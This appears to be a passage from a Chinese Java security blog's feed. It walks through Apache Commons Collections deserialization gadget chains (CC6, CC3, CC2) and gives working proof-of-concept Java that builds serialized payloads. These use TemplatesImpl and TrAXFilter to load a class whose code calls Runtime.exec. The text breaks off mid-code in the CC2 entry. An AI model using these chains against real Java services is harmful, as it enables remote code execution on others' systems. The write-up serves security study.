<span class="literal">null</span>);</span><br><span class="line">        map.remove(<span class="literal">null</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">factory</span> <span class="operator">=</span> LazyMap.class.getDeclaredField(<span class="string">&quot;factory&quot;</span>);</span><br><span class="line">        factory.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        factory.set(lazymap, chainedTransformer);</span><br><span class="line">        serialize(hashMap);</span><br><span class="line">        deserialize(<span class="string">&quot;cc6.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720085.png" alt="image-20240918131232435"></p><p><strong> <code>TiedMapEntry</code>  的使用</strong>：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">TiedMapEntry</span> <span class="variable">tiedMapEntry</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TiedMapEntry</span>(lazymap, <span class="literal">null</span>);</span><br></pre></td></tr></table></figure></div><p><code>TiedMapEntry</code>  是一个特殊的 Map 条目，它持有对 <code>Map</code>  的引用，并与该 <code>Map</code>  的一个键相绑定。</p><p><strong>修改 <code>LazyMap</code>  的工厂</strong>：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Field</span> <span class="variable">factory</span> <span class="operator">=</span> LazyMap.class.getDeclaredField(<span class="string">&quot;factory&quot;</span>);</span><br><span class="line">factory.setAccessible(<span class="literal">true</span>);</span><br><span class="line">factory.set(lazymap, chainedTransformer);</span><br></pre></td></tr></table></figure></div><p>通过反射，获取 <code>LazyMap</code>  内部的 <code>factory</code>  字段，并将其设置为我们构造的 <code>chainedTransformer</code> ，以便在访问 <code>LazyMap</code>  时触发恶意代码执行。</p><p><strong>调用链：</strong></p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> Gadget chain:</span><br><span class="line"> java.io.ObjectInputStream.readObject()</span><br><span class="line"> java.util.HashMap.readObject()</span><br><span class="line"> java.util.HashMap.hash()</span><br><span class="line"></span><br><span class="line">org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()</span><br><span class="line"></span><br><span class="line">org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()</span><br><span class="line"> org.apache.commons.collections.map.LazyMap.get()</span><br><span class="line"></span><br><span class="line">org.apache.commons.collections.functors.ChainedTransformer.transform()</span><br><span class="line"></span><br><span class="line">org.apache.commons.collections.functors.InvokerTransformer.transform()</span><br><span class="line"> java.lang.reflect.Method.invoke()</span><br><span class="line"> java.lang.Runtime.exec()</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;cc6&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#cc6&quot;&gt;#&lt;/a&gt; CC6&lt;/h3&gt;
&lt;p&gt;CC6 不受 jdk 版本限制，算是一条最常用的 CC 链&lt;br&gt;
这是 Ysoserial 上的 CC6，可以看到后半部分没变，从 L</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JavaSec-CC3</title>
    <link href="http://example.com/2024/09/18/JavaSec-CC3/"/>
    <id>http://example.com/2024/09/18/JavaSec-CC3/</id>
    <published>2024-09-18T09:18:59.000Z</published>
    <updated>2024-09-19T10:58:21.756Z</updated>
    
    <content type="html"><![CDATA[<h3 id="cc3"><a class="markdownIt-Anchor" href="#cc3">#</a> CC3</h3><p>CC3 就跟前两条链不太一样了，CC1 的利用链是 <code>Map(Proxy).entrySet()</code>  触发 <code>AnnotationInvocationHandler.invoke()</code> , 而 CC2 链的利用链是通过 <code>InvokerTransformer.transform()</code>  调用 <code>newTransformer</code>  触发 RCE。CC3 是执行静态代码块</p><p>CC3 采用的是动态加载类，也就是利用了 <code>defineClass</code> ，我们搜索哪些类有 <code>defineClass</code> , 找到这个 <code>TemplatesImpl</code></p><p>在 <code>defineTransletClasses</code>  方法中调用了 defineClass</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720452.png" alt="image-20240918170513821"></p><p>这里有几个判断得注意，首先是 <code>_bytecodes</code>  不能为 null，然后就是 <code>_tfactory</code>  不能为 null，不过 <code>_tfactory</code>  在 readObject 方法里被赋值了，因此不用管，继续跟进看谁调用了 <code>defineTransletClasses</code> ，看 <code>getTransletInstance</code> , 得绕过第一个 if 判断，所以得反射赋值给 <code>__name</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720367.png" alt="image-20240918170646419"></p><p>继续跟进看谁调用了 <code>getTransletInstance</code> ，现在基本有一个构造思路了，new 一个 <code>TemplateIml</code>  对象，然后调用 newTransformer 方法，从而去 defineClass</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181720394.png" alt="image-20240918170747660"></p><p>分析一下 yso 的 CC3，可以看到它在 Transformer [] 里调用的是 <code>InstantiateTransformer</code> ，还引入了 <code>TrAXFilter</code>  这个类，我们追踪一下</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409191844110.png" alt="img"></p><p>首先 <code>TrAXFilter</code>  中会调用 newTransformer</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409191847518.png" alt="image-20240919184731373"></p><p>再看 <code>InstantiateTransformer</code>  的 transform 方法，获取构造器，再实例化，刚好可以触发 <code>TrAXFilter</code></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409191848140.png" alt="image-20240919184849059"></p><p><strong>POC：</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.Fc0;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InstantiateTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.keyvalue.TiedMapEntry;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> javax.xml.transform.Templates;</span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.*;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Files;</span><br><span class="line"><span class="keyword">import</span> java.nio.file.Paths;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CC3</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">FileOutputStream</span> <span class="variable">fos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;cc3.bin&quot;</span>);</span><br><span class="line">        <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(fos);</span><br><span class="line">        oos.writeObject(obj);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">deserialize</span><span class="params">(String filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">        <span class="type">FileInputStream</span> <span class="variable">fis</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(filename);</span><br><span class="line">        <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(fis);</span><br><span class="line">        ois.readObject();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException &#123;</span><br><span class="line">        <span class="type">TemplatesImpl</span> <span class="variable">templates</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">TemplatesImpl</span>();</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_name</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(<span class="string">&quot;_name&quot;</span>);</span><br><span class="line">        _name.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _name.set(templates, <span class="string">&quot;1&quot;</span>);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_bytecodes</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);</span><br><span class="line">        _bytecodes.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">byte</span>[] bytes = Files.readAllBytes(Paths.get(<span class="string">&quot;D:\\JavaSec\\CC1\\src\\main\\java\\com\\Fc0\\Eval.class&quot;</span>));</span><br><span class="line">        <span class="type">byte</span>[][] code = &#123;bytes&#125;;</span><br><span class="line">        _bytecodes.set(templates, code);</span><br><span class="line">        <span class="type">Field</span> <span class="variable">_tfactory</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);</span><br><span class="line">        _tfactory.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        _tfactory.set(templates, <span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());</span><br><span class="line">        <span class="type">Field</span> <span class="variable">ABSTRACT_TRANSLET</span> <span class="operator">=</span> TemplatesImpl.class.getDeclaredField(<span class="string">&quot;ABSTRACT_TRANSLET&quot;</span>);</span><br><span class="line">        ABSTRACT_TRANSLET.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        ABSTRACT_TRANSLET.set(templates, <span class="string">&quot;java.lang.Object&quot;</span>);</span><br><span class="line"><span class="comment">//        Transformer transformer = templates.newTransformer();</span></span><br><span class="line">        Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]&#123;</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(TrAXFilter.class),</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">InstantiateTransformer</span>(<span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Templates.class&#125;, <span class="keyword">new</span> <span class="title class_">Object</span>[]&#123;templates&#125;)</span><br><span class="line">        &#125;;</span><br><span class="line">        <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line">        HashMap&lt;Object, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">        Map&lt;Object, Object&gt; decorate = LazyMap.decorate(map,  chainedTransformer);</span><br><span class="line">        <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;</span>);</span><br><span class="line">        <span class="type">Constructor</span> <span class="variable">constructor</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line">        constructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line">        <span class="type">InvocationHandler</span> <span class="variable">handler</span> <span class="operator">=</span> (InvocationHandler) constructor.newInstance(Target.class, decorate);</span><br><span class="line">        <span class="type">Map</span> <span class="variable">newMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), <span class="keyword">new</span> <span class="title class_">Class</span>[]&#123;Map.class&#125;, handler);</span><br><span class="line">        <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> constructor.newInstance(Target.class, newMap);</span><br><span class="line">        serialize(o);</span><br><span class="line">        deserialize(<span class="string">&quot;cc3.bin&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><strong>Eval.java:</strong></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.Fc0;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.IOException;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Eval</span> &#123;</span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409191853398.png" alt="image-20240919185333919"></p><h4 id="利用链"><a class="markdownIt-Anchor" href="#利用链">#</a> 利用链：</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">ObjectInputStream.readObject()</span><br><span class="line">        AnnotationInvocationHandler.readObject()</span><br><span class="line">            Map(Proxy).entrySet()</span><br><span class="line">                AnnotationInvocationHandler.invoke()</span><br><span class="line">                    LazyMap.get()</span><br><span class="line">                        ChainedTransformer.transform()</span><br><span class="line">                        ConstantTransformer.transform()</span><br><span class="line">                        InstantiateTransformer.transform()</span><br><span class="line">                        newInstance()</span><br><span class="line">                            TrAXFilter#TrAXFilter()</span><br><span class="line">                            TemplatesImpl.newTransformer()</span><br><span class="line">                                     TemplatesImpl.getTransletInstance()</span><br><span class="line">                                     TemplatesImpl.defineTransletClasses</span><br><span class="line">                                     newInstance()</span><br><span class="line">                                        Runtime.exec()</span><br></pre></td></tr></table></figure></div><p><a class="link" href="https://www.cnblogs.com/nice0e3/p/13854098.html#0x03-cc3%E9%93%BE%E8%B0%83%E8%AF%95">Java 安全之 Commons Collections3 分析 - nice_0e3 - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h3 id=&quot;cc3&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#cc3&quot;&gt;#&lt;/a&gt; CC3&lt;/h3&gt;
&lt;p&gt;CC3 就跟前两条链不太一样了，CC1 的利用链是 &lt;code&gt;Map(Proxy).entrySet()&lt;/code&gt;  触发 &lt;co</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>JavaSec-CC2</title>
    <link href="http://example.com/2024/09/18/JavaSec-CC2/"/>
    <id>http://example.com/2024/09/18/JavaSec-CC2/</id>
    <published>2024-09-18T04:10:28.000Z</published>
    <updated>2024-10-18T14:46:47.122Z</updated>
    
    <content type="html"><![CDATA[<h2 id="cc2"><a class="markdownIt-Anchor" href="#cc2">#</a> CC2</h2><p>链子对应版本：Common Collection 4.0</p><h3 id="利用templatesimpl动态加载字节码"><a class="markdownIt-Anchor" href="#利用templatesimpl动态加载字节码">#</a> 利用 TemplatesImpl 动态加载字节码</h3><p><a class="link" href="https://mak4r1.com/java/%E5%88%A9%E7%94%A8templatesimpl%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81/">利用 TemplatesImpl 动态加载字节码 – Mak 的小破站 (mak4r1.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="defineclass"><a class="markdownIt-Anchor" href="#defineclass">#</a> defineClass</h3><p>JAVA 加载 class 时会依次尝试执行 ClassLoader 里的三个方法：</p><p><code>loadClass -&gt; findClass -&gt; defineClass</code></p><ul><li>loadClass 从已经加载的缓存、父加载器寻找该类字节码</li><li>findClass 从指定 uri 寻找 class 文件，即远程或本地的.class 文件或 jar 包</li><li>defineClass 加载前两者找到的字节码，处理成 JAVA 类</li></ul><p>如果能在程序运行时执行 defineClass 加载自定义的字节码，就能做到动态加载字节码，创建类了。</p><p>例如，编写一下类：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">evil</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">evil</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>编译出这个类的 class 文件，然后使用 ClassLoader.defineClass 加载该类的字节码：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">    <span class="type">File</span> <span class="variable">file</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">File</span>(<span class="string">&quot;./out/production/testDefineClass/evil.class&quot;</span>);</span><br><span class="line">    <span class="type">FileInputStream</span> <span class="variable">filein</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(file);</span><br><span class="line">    <span class="type">byte</span>[] bytess = <span class="keyword">new</span> <span class="title class_">byte</span>[(<span class="type">int</span>)file.length()];</span><br><span class="line">    filein.read(bytess);</span><br><span class="line">    <span class="type">String</span> <span class="variable">base64</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">String</span>(Base64.getEncoder().encode(bytess));</span><br><span class="line">    System.out.println(base64);</span><br><span class="line"> </span><br><span class="line">    <span class="type">String</span> <span class="variable">evilbase64</span> <span class="operator">=</span>  base64;<span class="comment">//要加载的恶意类</span></span><br><span class="line">    <span class="type">byte</span>[] evilbytes = Base64.getDecoder().decode(evilbase64);</span><br><span class="line"> </span><br><span class="line">    <span class="comment">//直接使用defineClass加载字节码</span></span><br><span class="line">    <span class="type">Method</span> <span class="variable">defclass</span> <span class="operator">=</span> ClassLoader.class.getDeclaredMethod(<span class="string">&quot;defineClass&quot;</span>, <span class="type">byte</span>[].class, <span class="type">int</span>.class, <span class="type">int</span>.class);</span><br><span class="line">    defclass.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    <span class="type">Class</span> <span class="variable">evilclass</span> <span class="operator">=</span> (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,<span class="number">0</span>,evilbytes.length);</span><br><span class="line">    evilclass.newInstance();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>可以看到成功创建该类，new 该类对象执行构造方法，弹出计算器。</p><h3 id="templatesimpl"><a class="markdownIt-Anchor" href="#templatesimpl">#</a> TemplatesImpl</h3><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757303.png" alt="image-20240918173817407"></p><p>在 ClassLoader 类中，defineClass 的修饰是 protected，作用域不开放，在攻击的时候一般不能直接触发</p><p>而 TemplatesImpl 类中有一条方法利用链可以通过 public 的方法触发到参数可控 defineClass，加载任意类。</p><p>先找 defineClass 的执行处，在方法 defineClass 中</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757226.png" alt="image-20240918174452779"></p><p>在方法 defineTransletClasses 中，执行了类内的 defineClass</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757328.png" alt="image-20240918174758591"></p><p>继续向上跟进，找到 getTransletInstance 方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757220.png" alt="image-20240918174835198"></p><p>继续向上跟，找到 newTransformer 方法</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757180.png" alt="image-20240918174855236"></p><p>这里方法是 public，可以直接访问执行。<br>因此我们的利用链是：</p><div class="highlight-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">public synchronized Transformer newTransformer() -&gt;</span><br><span class="line">private Translet getTransletInstance() -&gt;</span><br><span class="line">private void defineTransletClasses() -&gt;</span><br><span class="line">Class defineClass(final byte[] b) </span><br></pre></td></tr></table></figure></div><p>利用的条件：<br>属性_name 不为 null，属性_class 为 null（_class 本来就为 null）：</p><p>属性_bytecode 为二维 byte 数组，存入恶意类的字节码：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202409181757169.png" alt="image-20240918175246443"></p><p>然后_tfactory 要设置成 TransformerFactoryImpl 对象，并且恶意类要继承类 AbstractTranslet，这个不知道<br>因此<br>恶意类：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.DOM;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.TransletException;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xml.internal.serializer.SerializationHandler;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">evil</span> <span class="keyword">extends</span> <span class="title class_">AbstractTranslet</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, SerializationHandler[] handlers)</span> <span class="keyword">throws</span> TransletException &#123;&#125;</span><br><span class="line"> </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">transform</span><span class="params">(DOM document, DTMAxisIterator iterator, SerializationHandler handler)</span> <span class="keyword">throws</span> TransletException &#123;&#125;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">evil</span><span class="params">()</span> <span class="keyword">throws</span> Exception&#123;</span><br><span class="line">        Runtime.getRuntime().exec(<span class="string">&quot;calc&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>主程序：</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;</span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> java.io.File;</span><br><span class="line"><span class="keyword">import</span> java.io.FileInputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Method;</span><br><span class="line"><span class="keyword">import</span> java.util.Base64;</span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Main</span> 